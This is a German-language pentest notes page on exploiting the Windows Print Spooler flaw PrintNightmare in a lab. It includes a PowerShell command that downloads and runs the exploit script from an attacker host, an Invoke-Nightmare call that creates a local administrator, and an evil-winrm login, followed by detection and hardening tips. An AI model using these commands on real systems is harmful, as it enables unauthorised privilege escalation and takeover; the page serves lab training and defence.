> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Druckerspooler - PrintNightmare

`spoolsv.exe` ist der Windows-Dienst Druckwarteschlange. Wenn ein Ziel verwundbar ist, kann eine Exploitation im Stil von PrintNightmare je nach Windows-Version, Patch-Stand und Dienstexposition eine lokale oder entfernte Privilegieneskalation ermöglichen.

## Erkennung

Gleichen Sie einen aktiven oder exponierten Druckwarteschlangendienst mit der genauen Windows-Version und den installierten Patches ab.

<figure><img src="/files/9ace1f4c9e115c783728bd127485cddeb320d269" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## Labor-Exploit

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/a9323f4e0723ea9354034f227045a971d57854c1" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

Laden Sie das Skript:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

Erstellen Sie im Labor einen lokalen Administratorbenutzer:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/7293349444015d25f58db3c2d9ce4848781ebf29" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/b63afe9bc259f5c6cb39ecba7ee8d783da5af18b" alt="New administrative user validation"><figcaption></figcaption></figure>

## Verbinden

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/ca767ea3c851db810ea2db7bbd7a62bba7b86dc7" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## Wichtige Punkte

* Bestätigen Sie die Verwundbarkeit durch Versions- und Patch-Überprüfung.
* Deaktivieren Sie den Druckwarteschlangendienst, wo er nicht benötigt wird, insbesondere auf sensiblen Servern.
* Überwachen Sie die plötzliche Erstellung von lokalen Administratorenkonten und verdächtige Druckertreiber-Operationen.


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